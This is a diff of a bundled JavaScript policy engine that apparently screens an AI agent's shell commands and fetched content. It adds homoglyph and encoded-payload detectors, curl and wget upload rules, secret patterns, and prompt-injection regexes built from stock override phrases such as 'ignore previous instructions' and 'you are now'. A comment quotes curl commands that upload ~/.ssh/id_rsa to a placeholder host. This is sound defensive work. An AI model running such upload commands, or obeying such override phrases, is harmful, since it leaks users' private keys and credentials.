CHMOD_OPEN_PERM_TOKENS, COMMAND_WRAPPERS, INLINE_INTERPRETER, RUNNER_WRAPPERS, _redirStdinOps, _listOps, WRAPPER_TAKES_TARGET, FIND_EXEC_FLAGS, FS_MUTATION_TOOLS, INTERP_LEADING_TARGET, MAX_PAYLOAD_NESTING, payloadNesting, SCRIPT_RUNNERS, SCRIPT_RUNNER_VALUE_FLAGS, MAX_SCRIPT_OPERANDS, NET_BINARIES, VALUE_FLAGS, HOME_VARIABLES, assignmentTable, currentStmtOffset, PAYLOAD_BUDGET, payloadBudget, seenPayloads, UNANALYSABLE_NESTING, ASSIGNMENT_HEADS, AND_OP, OR_OP, AND_OR_OPS, MAX_CALL_DEPTH, MAX_CALL_WALKS, callDepth, callWalks, FS_OP_CACHE_MAX, fsOpCache, stripDotSlash, REDIR_TRUNCATE_OPS, REDIR_FILE_IN_OPS, REDIR_HEREDOC_OPS, FIND_OPTIONS, COPY_RULE_OF, isReaderWord, positionalAfter, NONE, UNKNOWN, MAX_REGEX_LENGTH, REGEX_CACHE_MAX, regexCache, FORBIDDEN_PATH_SEGMENTS, BASH_TOOL_NAMES, MCP_EXECUTORS, BUILTIN_FIELDS, ARGV_FIELDS, BARE_WORD, MAX_ARGV_CHARACTERS, syntax2, MAX_ALTERNATIVES, MAX_CALL_DEPTH2, MAX_CALL_WALKS2, POSITIONAL, MAX_DEPTH, MAX_PAYLOAD_DEPTH, unique, clone, SENDING_STDIN, DOWNLOAD_SHORT_VALUE, DOWNLOAD_LONG_VALUE, DOWNLOAD_OUTPUT_FLAGS, DOWNLOAD_DIR_FLAGS, base, quoteGlob, asWord, WRITES, READS, DUP_OUT, HERE_STRING, AND, OR, DEFAULT_OPS, SYSTEM_AUTH_FILES, SYSTEM_AUTH_DIRS, PASSWORD_HASH_FILES, STARTUP_NAMES, SYSTEM_DIRS, SYSTEM_DIRS_EXEMPT, UPLOAD_SYSTEM_DIRS, AGENT_INSTRUCTION_FILES, AGENT_INSTRUCTION_DIRS, LEGACY_SYSTEM_PATH_RE, exempt, RANK, BIP39_ENGLISH, BIP39_PUBLIC_VECTORS, indices, lengths, hash, MAX_MNEMONIC_HASHES, SECRET_VIEW_LIMITS, IBAN_LENGTH, IBAN_BBAN_SHAPE, B58, B58_INDEX, XPRV_VERSIONS, B62, CRC32_TABLE, GITHUB_TOKEN_RE, B64URL, B64URL_INDEX, CASK_TWO_ZERO_SUFFIX, CASK_FOUR_ZERO_SUFFIX, CF_ODD, CF_EVEN, SPANISH_LETTERS, HETU_CHARS, MAX, UNTRUSTED_TOOLS, SIGNALS, MENTION_QUOTE_RE, MENTION_WORD_RE, ASSIGNMENT_CONTEXT_RE, DLP_STOPWORDS, REFERENCE_VALUE_RE, IDENTIFIER_VALUE_RE, PATH_VALUE_RE, DOTTED_REFERENCE_RE, CONCATENATION_RE, EMAIL_VALUE_RE, FIXTURE_NAME_RE, DERIVATIVE_NAME_RE, QUERY_CREDENTIAL_VALUE_RE, OTP_SECRET_RE, OTP_DOC_SECRETS, ASSIGNED_SECRET_VALUE_RE, ASSIGNED_SECRET_NAME_RE, NAME_KEYWORD_RE, ARN_CONTEXT_RE, CIPHER_KEY_NAME_RE, CIPHER_NAME_PARTS, CIPHER_KEY_VALUE_RE, LARAVEL_KEY_VALUE_RE, SQL_PASSWORD_VALUE_RE, GRAFANA_KEY_VALUE_RE, BASIC_VALUE_RE, BASIC_PAIR_RE, OTP_CAPTURE_RE, DB_URL_PASSWORD_RE, DLP_PATTERNS, DLP_PATTERNS_GLOBAL, SENSITIVE_PATH_PATTERNS, SENSITIVE_PATH_REGEXES, MAX_DEPTH2, MAX_STRING_BYTES, MAX_JSON_PARSE_BYTES, BATCH_SEPARATOR, syntax3, NPM_INSTALL_VERBS, NPM_EXEC_VERBS, PNPM_INSTALL_VERBS, YARN_INSTALL_VERBS, BUN_INSTALL_VERBS, DLX_VERBS, NON_REGISTRY_RE, NPM_NAME_RE, EXACT_SEMVER_RE, NPM_VALUE_FLAGS, PNPM_VALUE_FLAGS, YARN_VALUE_FLAGS, BUN_VALUE_FLAGS, PIP_VALUE_FLAGS, UV_VALUE_FLAGS, POETRY_VALUE_FLAGS, PIPENV_VALUE_FLAGS, PIPX_VALUE_FLAGS, PY_SPEC_RE, PY_EXACT_RE, EXACT_VERSION_RE, GEM_NAME_RE, GEM_VALUE_FLAGS, BUNDLE_VALUE_FLAGS, CRATE_NAME_RE, CARGO_ADD_VALUE_FLAGS, CARGO_INSTALL_VALUE_FLAGS, GO_VALUE_FLAGS, GO_PATH_RE, NUGET_NAME_RE, DOTNET_ADD_VALUE_FLAGS, DOTNET_TOOL_VALUE_FLAGS, NUGET_VALUE_FLAGS, MAVEN_COORD_RE, COMPOSER_NAME_RE, COMPOSER_VALUE_FLAGS, EDITOR_HEADS, EXTENSION_ID_RE, MANAGER_HEADS, SHELLS, MAX_NESTING, SHELL_VALUE_FLAGS, TUNING_FIELDS, MAP_GOVERNED, KNOB_GOVERNED, CONFIGURABLE_CHECK_IDS, DEFAULT_EGRESS_ALLOWLIST, PRIVATE_HOST_SUFFIXES, SOURCE_COMMANDS, SINK_COMMANDS, OBFUSCATORS, SENSITIVE_PATTERNS, FLAGS_WITH_VALUES, DESTINATION_ARGS, MCP_DESTINATION_KEYS, ARGUMENT_SCAN_LIMITS, RUN_CHAR, runChar, VERDICT_RANK, SQL_DML_KEYWORDS, MAX_DESTINATIONS, MAX_SCAN_CHARS, EMAIL_RE, URL_RE, IBAN_RE, RECIPIENT_KEYS, DESTRUCTIVE_VERB_RE, PII_EMAIL_RE, PII_SSN_RE, PII_PHONE_RE, PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE, CARD_PATTERNS, PII_ROUTING_RE, ROUTING_LABEL_RE, ROUTING_LABEL_WINDOW, NATIONAL_ID_SHAPES, NATIONAL_ID_LABEL_RE, NATIONAL_ID_LABEL_WINDOW, NATIONAL_ID_GUARD_RE, PII_IBAN_RE, REALTIME_PII_PATTERNS, MAX_PII_SCAN_BYTES, IBAN_DESTINATION_KEYS, WHOLE_IBAN_RE, JSON_ESCAPE_RE, JSON_ESCAPES, MASKED_KINDS, ENTRY_RE, IBAN_TEXT_RE, EMAIL_TEXT_RE, ACCOUNT_KEY_RE, ACCOUNT_VALUE_RE, MAX_MASK_DEPTH, syntax4, EMPTY, CURL_SEND_FLAGS, WGET_SEND_FLAGS, IWR_SEND_FLAGS, WRITE_METHODS, GH_READ, GH_WRITE, GH_HOSTNAME_FLAGS, GH_REPO_VALUE_FLAGS, GH_API_VALUE_FLAGS, GIT_FETCH, PUBLISH, SHELLS2, OWN_HEADS, MAX_DEPTH3, CWD_CHANGERS, TERMINAL_ESCAPE_RE, LOOP_MAX_RECORDS, CANARY_MIN_LENGTH, MAX_TEXT, MAX_DEPTH4, MAX_JSON_PARSE, URL_DEPTH, B64_DEPTH, MIN_SEGMENT, SEPARATORS, stripSeparators, looksText, CANARY_DECODERS, VIEWS, LONG_OUTPUT_THRESHOLD_BYTES;
|
|
6487
7071
|
var init_dist = __esm({
|
|
6488
7072
|
"packages/policy-engine/dist/index.mjs"() {
|
|
6489
7073
|
"use strict";
|
|
@@ -7961,6 +8545,80 @@ var init_dist = __esm({
|
|
|
7961
8545
|
return s.untrustedContent.afterExposure === "log-only" ? "log" : "review";
|
|
7962
8546
|
}
|
|
7963
8547
|
};
|
|
8548
|
+
INVISIBLE_RE = /[͏----︀-️]|[\u{E0000}-\u{E007F}]/gu;
|
|
8549
|
+
INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
|
|
8550
|
+
HOMOGLYPHS = {
|
|
8551
|
+
// Cyrillic lowercase
|
|
8552
|
+
\u0430: "a",
|
|
8553
|
+
\u0435: "e",
|
|
8554
|
+
\u043E: "o",
|
|
8555
|
+
\u0440: "p",
|
|
8556
|
+
\u0441: "c",
|
|
8557
|
+
\u0443: "y",
|
|
8558
|
+
\u0445: "x",
|
|
8559
|
+
\u0456: "i",
|
|
8560
|
+
\u0458: "j",
|
|
8561
|
+
\u0455: "s",
|
|
8562
|
+
"\u0501": "d",
|
|
8563
|
+
"\u051B": "q",
|
|
8564
|
+
"\u051D": "w",
|
|
8565
|
+
\u04BB: "h",
|
|
8566
|
+
\u0261: "g",
|
|
8567
|
+
\u0451: "e",
|
|
8568
|
+
"\u04CF": "l",
|
|
8569
|
+
"\u217C": "l",
|
|
8570
|
+
// Cyrillic uppercase
|
|
8571
|
+
\u0410: "A",
|
|
8572
|
+
\u0412: "B",
|
|
8573
|
+
\u0415: "E",
|
|
8574
|
+
\u041A: "K",
|
|
8575
|
+
\u041C: "M",
|
|
8576
|
+
\u041D: "H",
|
|
8577
|
+
\u041E: "O",
|
|
8578
|
+
\u0420: "P",
|
|
8579
|
+
\u0421: "C",
|
|
8580
|
+
\u0422: "T",
|
|
8581
|
+
\u0425: "X",
|
|
8582
|
+
\u0405: "S",
|
|
8583
|
+
\u0406: "I",
|
|
8584
|
+
\u0408: "J",
|
|
8585
|
+
\u04AE: "Y",
|
|
8586
|
+
"\u051A": "Q",
|
|
8587
|
+
"\u051C": "W",
|
|
8588
|
+
// Greek lowercase
|
|
8589
|
+
\u03B1: "a",
|
|
8590
|
+
\u03BF: "o",
|
|
8591
|
+
\u03BD: "v",
|
|
8592
|
+
\u03B5: "e",
|
|
8593
|
+
\u03B9: "i",
|
|
8594
|
+
\u03BA: "k",
|
|
8595
|
+
\u03C1: "p",
|
|
8596
|
+
\u03C4: "t",
|
|
8597
|
+
\u03C5: "u",
|
|
8598
|
+
\u03C7: "x",
|
|
8599
|
+
\u03B3: "y",
|
|
8600
|
+
// Greek uppercase
|
|
8601
|
+
\u0391: "A",
|
|
8602
|
+
\u0392: "B",
|
|
8603
|
+
\u0395: "E",
|
|
8604
|
+
\u0396: "Z",
|
|
8605
|
+
\u0397: "H",
|
|
8606
|
+
\u0399: "I",
|
|
8607
|
+
\u039A: "K",
|
|
8608
|
+
\u039C: "M",
|
|
8609
|
+
\u039D: "N",
|
|
8610
|
+
\u039F: "O",
|
|
8611
|
+
\u03A1: "P",
|
|
8612
|
+
\u03A4: "T",
|
|
8613
|
+
\u03A5: "Y",
|
|
8614
|
+
\u03A7: "X"
|
|
8615
|
+
};
|
|
8616
|
+
HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
8617
|
+
MAX_BLOBS = 32;
|
|
8618
|
+
MIN_DECODED = 16;
|
|
8619
|
+
BASE64_RUN_RE = /[A-Za-z0-9+/]{32,}={0,2}|[A-Za-z0-9_-]{32,}/g;
|
|
8620
|
+
HEX_RUN_RE = /\b(?:[0-9a-fA-F]{2}){24,}\b/g;
|
|
8621
|
+
HEX_ESCAPE_RUN_RE = /(?:\\x[0-9a-fA-F]{2}){16,}/g;
|
|
7964
8622
|
({ syntax } = import_mvdan_sh.default);
|
|
7965
8623
|
sharedParser = syntax.NewParser();
|
|
7966
8624
|
MESSAGE_FLAGS = /* @__PURE__ */ new Set([
|
|
@@ -7998,6 +8656,7 @@ var init_dist = __esm({
|
|
|
7998
8656
|
AST_CACHE_MAX = 5e3;
|
|
7999
8657
|
astCache = /* @__PURE__ */ new Map();
|
|
8000
8658
|
PARSE_FAIL = /* @__PURE__ */ Symbol("parse-fail");
|
|
8659
|
+
MAX_READING_PAYLOADS = 8;
|
|
8001
8660
|
defaultExpansionOps = null;
|
|
8002
8661
|
VARIABLE_READERS = /* @__PURE__ */ new Set([
|
|
8003
8662
|
"read",
|
|
@@ -8404,6 +9063,20 @@ var init_dist = __esm({
|
|
|
8404
9063
|
sort: /* @__PURE__ */ new Set(["--files0-from"])
|
|
8405
9064
|
};
|
|
8406
9065
|
SCP_VALUE_FLAGS = ["i", "F", "o", "c", "S", "P", "J", "D", "W", "l"];
|
|
9066
|
+
CURL_SOURCE_FLAGS = [
|
|
9067
|
+
"T",
|
|
9068
|
+
"--upload-file",
|
|
9069
|
+
"d",
|
|
9070
|
+
"--data",
|
|
9071
|
+
"--data-binary",
|
|
9072
|
+
"--data-ascii",
|
|
9073
|
+
"--data-urlencode",
|
|
9074
|
+
"--json",
|
|
9075
|
+
"F",
|
|
9076
|
+
"--form"
|
|
9077
|
+
];
|
|
9078
|
+
CURL_VALUE_LETTERS = "dFTHouXAebcKEmwxUrQtCPDyYz".split("");
|
|
9079
|
+
WGET_VALUE_LETTERS = "OoaiBtTwQPeUARDIl".split("");
|
|
8407
9080
|
TAR_VALUE_LETTERS = ["b", "C", "f", "F", "g", "H", "I", "K", "L", "N", "T", "V", "X"];
|
|
8408
9081
|
ZIP_VALUE_LETTERS = ["b", "n", "P", "t", "s", "O", "x", "i"];
|
|
8409
9082
|
RSYNC_VALUE_LETTERS = ["e", "f", "T", "B", "M"];
|
|
@@ -8460,7 +9133,25 @@ var init_dist = __esm({
|
|
|
8460
9133
|
"aws s3 mv": { source: "allButLast" },
|
|
8461
9134
|
"aws s3 sync": { source: "allButLast" },
|
|
8462
9135
|
"gcloud storage cp": { source: "allButLast" },
|
|
8463
|
-
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] }
|
|
9136
|
+
"az storage blob upload": { source: "flagOperand", sourceFlags: ["f", "--file"] },
|
|
9137
|
+
// An HTTP upload is a copy out of the jail with the network as its
|
|
9138
|
+
// destination (fw#372 A2). Measured at the real gate before this row:
|
|
9139
|
+
// `curl -T ~/.ssh/id_rsa https://x/` and `curl -d @~/.ssh/id_rsa https://x/`
|
|
9140
|
+
// were ALLOWED in the shipped default (egress off, no taint on the file),
|
|
9141
|
+
// while `cp ~/.ssh/id_rsa /tmp/k` reviewed. The same slot model as the other
|
|
9142
|
+
// flagOperand verb; the read tier never saw curl because it prints nothing.
|
|
9143
|
+
// `--key`/`--cert` USE a file for TLS, like `ssh -i`, and stay quiet.
|
|
9144
|
+
curl: {
|
|
9145
|
+
source: "flagOperand",
|
|
9146
|
+
sourceFlags: CURL_SOURCE_FLAGS,
|
|
9147
|
+
sourceOperand: curlSourceOperand,
|
|
9148
|
+
valueLetters: CURL_VALUE_LETTERS
|
|
9149
|
+
},
|
|
9150
|
+
wget: {
|
|
9151
|
+
source: "flagOperand",
|
|
9152
|
+
sourceFlags: ["--post-file", "--body-file"],
|
|
9153
|
+
valueLetters: WGET_VALUE_LETTERS
|
|
9154
|
+
}
|
|
8464
9155
|
};
|
|
8465
9156
|
TAR_MODE_WORD = /^[a-zA-Z]+$/;
|
|
8466
9157
|
COPY_VERB_HEADS = new Set(Object.keys(COPY_VERBS).map((k) => k.split(" ")[0]));
|
|
@@ -8672,6 +9363,11 @@ var init_dist = __esm({
|
|
|
8672
9363
|
"rmdir"
|
|
8673
9364
|
]);
|
|
8674
9365
|
INTERP_LEADING_TARGET = /* @__PURE__ */ new Set(["su"]);
|
|
9366
|
+
MAX_PAYLOAD_NESTING = 8;
|
|
9367
|
+
payloadNesting = 0;
|
|
9368
|
+
SCRIPT_RUNNERS = /* @__PURE__ */ new Set(["bash", "sh", "zsh", "dash", "ksh", "source", "."]);
|
|
9369
|
+
SCRIPT_RUNNER_VALUE_FLAGS = /* @__PURE__ */ new Set(["-o", "+o", "-O", "+O", "--rcfile", "--init-file"]);
|
|
9370
|
+
MAX_SCRIPT_OPERANDS = 8;
|
|
8675
9371
|
NET_BINARIES = /* @__PURE__ */ new Set([
|
|
8676
9372
|
// PowerShell downloaders (2026-09-22). `Invoke-WebRequest -InFile creds`
|
|
8677
9373
|
// is the same exfil as `curl -d @creds` and was invisible to isNetworkTool.
|
|
@@ -11104,6 +11800,21 @@ zoo`.split("\n");
|
|
|
11104
11800
|
lengths = [24, 21, 18, 15, 12];
|
|
11105
11801
|
hash = (value) => (0, import_crypto2.createHash)("sha256").update(value).digest();
|
|
11106
11802
|
MAX_MNEMONIC_HASHES = 25e3;
|
|
11803
|
+
SECRET_VIEW_LIMITS = {
|
|
11804
|
+
/** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
|
|
11805
|
+
maxDepth: 4,
|
|
11806
|
+
/** Nested views per parent view, and nested text per call; past either the call is reviewed. */
|
|
11807
|
+
maxNestedViewsPerLeaf: 64,
|
|
11808
|
+
maxNestedBytes: 1048576,
|
|
11809
|
+
/** Joined hostname-label text per call; past it the call is reviewed. */
|
|
11810
|
+
maxJoinedLabelBytes: 1048576,
|
|
11811
|
+
/** Decoded fragments are matched in batches of about this many characters. */
|
|
11812
|
+
batchCharacters: 65536,
|
|
11813
|
+
/** Only a valid DNS name has its labels joined. */
|
|
11814
|
+
maxHostLength: 253,
|
|
11815
|
+
maxLabelLength: 63,
|
|
11816
|
+
maxLabels: 127
|
|
11817
|
+
};
|
|
11107
11818
|
IBAN_LENGTH = {
|
|
11108
11819
|
AD: 24,
|
|
11109
11820
|
AE: 23,
|
|
@@ -11196,6 +11907,29 @@ zoo`.split("\n");
|
|
|
11196
11907
|
XK: 20,
|
|
11197
11908
|
YE: 30
|
|
11198
11909
|
};
|
|
11910
|
+
IBAN_BBAN_SHAPE = {
|
|
11911
|
+
AT: /^\d{16}$/,
|
|
11912
|
+
BE: /^\d{12}$/,
|
|
11913
|
+
CH: /^\d{5}[A-Z0-9]{12}$/,
|
|
11914
|
+
CZ: /^\d{20}$/,
|
|
11915
|
+
DE: /^\d{18}$/,
|
|
11916
|
+
DK: /^\d{14}$/,
|
|
11917
|
+
ES: /^\d{20}$/,
|
|
11918
|
+
FI: /^\d{14}$/,
|
|
11919
|
+
FR: /^\d{10}[A-Z0-9]{11}\d{2}$/,
|
|
11920
|
+
GB: /^[A-Z]{4}\d{14}$/,
|
|
11921
|
+
HU: /^\d{24}$/,
|
|
11922
|
+
IE: /^[A-Z]{4}\d{14}$/,
|
|
11923
|
+
IL: /^\d{19}$/,
|
|
11924
|
+
IT: /^[A-Z]\d{10}[A-Z0-9]{12}$/,
|
|
11925
|
+
LU: /^\d{3}[A-Z0-9]{13}$/,
|
|
11926
|
+
NL: /^[A-Z]{4}\d{10}$/,
|
|
11927
|
+
NO: /^\d{11}$/,
|
|
11928
|
+
PL: /^\d{24}$/,
|
|
11929
|
+
PT: /^\d{21}$/,
|
|
11930
|
+
RO: /^[A-Z]{4}[A-Z0-9]{16}$/,
|
|
11931
|
+
SE: /^\d{20}$/
|
|
11932
|
+
};
|
|
11199
11933
|
B58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
|
|
11200
11934
|
B58_INDEX = Object.fromEntries(
|
|
11201
11935
|
[...B58].map((c, i) => [c, i])
|
|
@@ -11210,75 +11944,107 @@ zoo`.split("\n");
|
|
|
11210
11944
|
);
|
|
11211
11945
|
CASK_TWO_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AEIMQUYcgkosw048"]);
|
|
11212
11946
|
CASK_FOUR_ZERO_SUFFIX = /* @__PURE__ */ new Set([..."AQgw"]);
|
|
11213
|
-
|
|
11214
|
-
|
|
11215
|
-
|
|
11216
|
-
|
|
11217
|
-
|
|
11218
|
-
|
|
11219
|
-
|
|
11220
|
-
|
|
11221
|
-
|
|
11222
|
-
|
|
11223
|
-
|
|
11224
|
-
|
|
11225
|
-
|
|
11226
|
-
|
|
11227
|
-
|
|
11228
|
-
|
|
11229
|
-
|
|
11230
|
-
|
|
11231
|
-
|
|
11232
|
-
|
|
11233
|
-
|
|
11234
|
-
|
|
11235
|
-
|
|
11236
|
-
|
|
11237
|
-
|
|
11238
|
-
|
|
11239
|
-
|
|
11240
|
-
|
|
11241
|
-
|
|
11242
|
-
|
|
11243
|
-
|
|
11244
|
-
|
|
11245
|
-
|
|
11246
|
-
|
|
11247
|
-
|
|
11248
|
-
|
|
11249
|
-
|
|
11250
|
-
|
|
11251
|
-
|
|
11252
|
-
|
|
11253
|
-
|
|
11254
|
-
|
|
11255
|
-
|
|
11256
|
-
|
|
11257
|
-
|
|
11258
|
-
|
|
11259
|
-
|
|
11260
|
-
|
|
11261
|
-
|
|
11262
|
-
|
|
11263
|
-
|
|
11264
|
-
|
|
11265
|
-
|
|
11266
|
-
|
|
11267
|
-
|
|
11268
|
-
|
|
11269
|
-
|
|
11270
|
-
|
|
11271
|
-
|
|
11272
|
-
|
|
11273
|
-
|
|
11274
|
-
|
|
11275
|
-
|
|
11276
|
-
|
|
11277
|
-
|
|
11278
|
-
|
|
11279
|
-
|
|
11280
|
-
|
|
11281
|
-
|
|
11947
|
+
CF_ODD = {};
|
|
11948
|
+
CF_EVEN = {};
|
|
11949
|
+
{
|
|
11950
|
+
const alphabet = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
|
11951
|
+
const odd = [
|
|
11952
|
+
1,
|
|
11953
|
+
0,
|
|
11954
|
+
5,
|
|
11955
|
+
7,
|
|
11956
|
+
9,
|
|
11957
|
+
13,
|
|
11958
|
+
15,
|
|
11959
|
+
17,
|
|
11960
|
+
19,
|
|
11961
|
+
21,
|
|
11962
|
+
1,
|
|
11963
|
+
0,
|
|
11964
|
+
5,
|
|
11965
|
+
7,
|
|
11966
|
+
9,
|
|
11967
|
+
13,
|
|
11968
|
+
15,
|
|
11969
|
+
17,
|
|
11970
|
+
19,
|
|
11971
|
+
21,
|
|
11972
|
+
2,
|
|
11973
|
+
4,
|
|
11974
|
+
18,
|
|
11975
|
+
20,
|
|
11976
|
+
11,
|
|
11977
|
+
3,
|
|
11978
|
+
6,
|
|
11979
|
+
8,
|
|
11980
|
+
12,
|
|
11981
|
+
14,
|
|
11982
|
+
16,
|
|
11983
|
+
10,
|
|
11984
|
+
22,
|
|
11985
|
+
25,
|
|
11986
|
+
24,
|
|
11987
|
+
23
|
|
11988
|
+
];
|
|
11989
|
+
for (let i = 0; i < alphabet.length; i++) {
|
|
11990
|
+
const c = alphabet[i];
|
|
11991
|
+
CF_ODD[c] = odd[i];
|
|
11992
|
+
CF_EVEN[c] = i < 10 ? i : i - 10;
|
|
11993
|
+
}
|
|
11994
|
+
}
|
|
11995
|
+
SPANISH_LETTERS = "TRWAGMYFPDXBNJZSQVHLCKE";
|
|
11996
|
+
HETU_CHARS = "0123456789ABCDEFHJKLMNPRSTUVWXY";
|
|
11997
|
+
MAX = 1e5;
|
|
11998
|
+
UNTRUSTED_TOOLS = /\b(web_?fetch|web_?search|fetch|curl|wget|browser|http_get|read_url|open_url)\b/i;
|
|
11999
|
+
SIGNALS = [
|
|
12000
|
+
{
|
|
12001
|
+
name: "override-instructions",
|
|
12002
|
+
any: [
|
|
12003
|
+
// "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules/commands/tasks"
|
|
12004
|
+
/\b(ignore|disregard|forget|discard)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?|commands?|tasks?|guidelines?)\b/i,
|
|
12005
|
+
/\byou are now\b/i,
|
|
12006
|
+
/\bnew (instructions?|directives?)\s*:/i,
|
|
12007
|
+
/\bnew directive\b/i,
|
|
12008
|
+
/\boverride\s*:/i,
|
|
12009
|
+
/\bsystem note\s*:/i,
|
|
12010
|
+
/\bdeveloper mode\b/i,
|
|
12011
|
+
/\bignore (the )?system prompt\b/i,
|
|
12012
|
+
/\b(reveal|print|show|output|repeat|display|dump)\b[^.!?\n]{0,30}\b(system prompt|hidden instructions|initial instructions|your instructions)\b/i,
|
|
12013
|
+
/\b(do not|don'?t|never)\b[^.!?\n]{0,20}\btell the (user|human)\b/i,
|
|
12014
|
+
/\boverride (your|the)\b[^.!?\n]{0,20}\b(instruction|instructions|programming|rules?|guardrails?)\b/i
|
|
12015
|
+
]
|
|
12016
|
+
},
|
|
12017
|
+
{
|
|
12018
|
+
name: "fake-role-marker",
|
|
12019
|
+
any: [
|
|
12020
|
+
/^\s*(system|assistant)\s*:/im,
|
|
12021
|
+
// a line impersonating a conversation turn
|
|
12022
|
+
/<\/?system>/i,
|
|
12023
|
+
/\[\s*system\s*\]/i,
|
|
12024
|
+
/\[\/?INST\]/i,
|
|
12025
|
+
/<\|im_(start|end)\|>/i
|
|
12026
|
+
]
|
|
12027
|
+
},
|
|
12028
|
+
{
|
|
12029
|
+
name: "action-to-destination",
|
|
12030
|
+
any: [
|
|
12031
|
+
// exfil verb + to/at/with/into + a url / email / domain. "email" after a
|
|
12032
|
+
// possessive ("your email", "my email") is the noun, not the verb (X4).
|
|
12033
|
+
// "log in to", "report issues at", "share feedback with" and "submit
|
|
12034
|
+
// your form at" are how ordinary pages talk, so log, report, share and
|
|
12035
|
+
// submit count only in the past tense ("logged to", "shared with").
|
|
12036
|
+
// A dot inside a word (a host, a file name) does not end the window; a
|
|
12037
|
+
// dot that ends a sentence does.
|
|
12038
|
+
/\b(send|sent|post(?:ed)?|upload(?:ed)?|exfiltrate[sd]?|forward(?:ed|s)?|transmit(?:ted|s)?|shared|submitted|logged|reported|curl|wget|leak(?:ed|s)?|(?<!\b(?:your|my|the|an|a|this|that|our|their|his|her)\s+)email(?:ed|s)?)\b(?:[^.\n!?]|\.(?=\S)){0,40}\b(to|at|with|into)\b(?:[^.\n!?]|\.(?=\S)){0,24}(https?:\/\/|[\w.-]+@[\w.-]+\.[a-z]{2,}|[\w-]+\.[a-z]{2,})/i,
|
|
12039
|
+
/\brun (the )?following (command|code|script)\b/i,
|
|
12040
|
+
/\bexecute (this|the following)\b/i,
|
|
12041
|
+
/\bdecode\b[^.!?\n]{0,40}\b(and|then)\b[^.!?\n]{0,12}\b(execute|run|eval)\b/i,
|
|
12042
|
+
/\bcall\b[^.!?\n]{0,30}\b(tool|function|endpoint)\b[^.!?\n]{0,30}\b(url|link|address)\b/i
|
|
12043
|
+
]
|
|
12044
|
+
}
|
|
12045
|
+
];
|
|
12046
|
+
MENTION_QUOTE_RE = /["'`“‘(]\s*$/;
|
|
12047
|
+
MENTION_WORD_RE = /\b(?:say|says|saying|said|such as|like|pattern|patterns|phrase|phrases|string|strings|text|e\.g\.|example|examples|contains?|containing|detects?|filters?|flags?|blocks?|matches|keywords?|wording|marker|markers)\b/i;
|
|
11282
12048
|
ASSIGNMENT_CONTEXT_RE = /\b(?:password|passwd|secret|token|api[_-]?key|auth(?:_key|_token)?|credential|private[_-]?key|access[_-]?key|client[_-]?secret)\s*[=:]\s*/i;
|
|
11283
12049
|
DLP_STOPWORDS = [
|
|
11284
12050
|
"example",
|
|
@@ -11312,18 +12078,42 @@ zoo`.split("\n");
|
|
|
11312
12078
|
DOTTED_REFERENCE_RE = /^[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*)+$/;
|
|
11313
12079
|
CONCATENATION_RE = /^\+[A-Za-z_$][\w$]*\./;
|
|
11314
12080
|
EMAIL_VALUE_RE = /^[^@\s]+@[^@\s]+\.[A-Za-z]{2,}$/;
|
|
11315
|
-
FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
|
|
12081
|
+
FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
|
|
11316
12082
|
DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
|
|
11317
12083
|
QUERY_CREDENTIAL_VALUE_RE = /=([A-Za-z0-9%+/_.~-]{8,512}={0,2})$/;
|
|
11318
12084
|
OTP_SECRET_RE = /^[A-Z2-7]{16,}=*$/i;
|
|
11319
12085
|
OTP_DOC_SECRETS = /* @__PURE__ */ new Set(["JBSWY3DPEHPK3PXP", "GEZDGNBVGY3TQOJQ"]);
|
|
11320
|
-
ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_
|
|
12086
|
+
ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
|
|
11321
12087
|
ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
|
|
11322
|
-
NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
12088
|
+
NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
11323
12089
|
ARN_CONTEXT_RE = /\barn:[A-Za-z0-9-]*:[^\s"'`]*$/i;
|
|
12090
|
+
CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
|
|
12091
|
+
CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
|
|
12092
|
+
"cipher",
|
|
12093
|
+
"aes",
|
|
12094
|
+
"enc",
|
|
12095
|
+
"encrypt",
|
|
12096
|
+
"encryption",
|
|
12097
|
+
"crypt",
|
|
12098
|
+
"crypto",
|
|
12099
|
+
"secret",
|
|
12100
|
+
"remember",
|
|
12101
|
+
"rememberme",
|
|
12102
|
+
"shiro",
|
|
12103
|
+
"signing",
|
|
12104
|
+
"hmac",
|
|
12105
|
+
"master",
|
|
12106
|
+
"private",
|
|
12107
|
+
"des"
|
|
12108
|
+
]);
|
|
